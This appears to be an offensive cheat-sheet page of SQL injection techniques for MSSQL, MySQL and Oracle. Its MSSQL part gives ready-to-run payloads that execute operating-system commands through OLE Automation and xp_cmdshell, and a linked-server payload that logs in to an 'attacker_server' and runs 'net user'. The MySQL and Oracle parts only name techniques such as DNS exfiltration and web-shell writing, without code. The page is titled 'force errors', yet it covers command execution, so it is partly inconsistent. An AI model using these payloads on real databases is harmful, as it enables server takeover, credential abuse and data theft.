⁉️Techniques to Force Errors from Databases for SQL Injection

Below are some advanced and rare SQL injection techniques for MSSQL, MySQL, and Oracle. These techniques go beyond the basic ones and exploit specific features and configurations of the databases.

MSSQL

  1. OLE Automation Procedures

    DECLARE @Object INT;
    EXEC sp_OACreate 'WScript.Shell', @Object OUTPUT;
    EXEC sp_OAMethod @Object, 'Run', NULL, 'cmd.exe /c whoami > C:\output.txt';

    This uses OLE Automation procedures to execute system commands.

  2. XP_CMD Shell with Privilege Escalation

    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;
    EXEC xp_cmdshell 'whoami';

    This enables xp_cmdshell to execute system commands if it's not already enabled.

  3. Linked Servers

    EXEC sp_addlinkedserver 'attacker_server';
    EXEC sp_addlinkedsrvlogin 'attacker_server', 'false', NULL, 'username', 'password';
    EXEC ('xp_cmdshell ''net user''') AT attacker_server;

    This technique uses linked servers to run commands on a different server.

MySQL

  1. UDF (User Defined Functions) for Remote Command Execution

    This technique involves creating a UDF to execute system commands.

  2. DNS Exfiltration

    This exfiltrates data through DNS requests to an attacker-controlled domain.

  3. Binary Log Injections

    This exploits the binary log feature to write a web shell.

Oracle

  1. Java Procedures for Command Execution

    This uses Java stored procedures to execute system commands.

  2. UTL_FILE Package for File Access

    This technique uses the UTL_FILE package to write files to the server.

  3. DBMS_SCHEDULER for Job Execution

    This uses DBMS_SCHEDULER to execute jobs that can change database permissions.

Last updated

Was this helpful?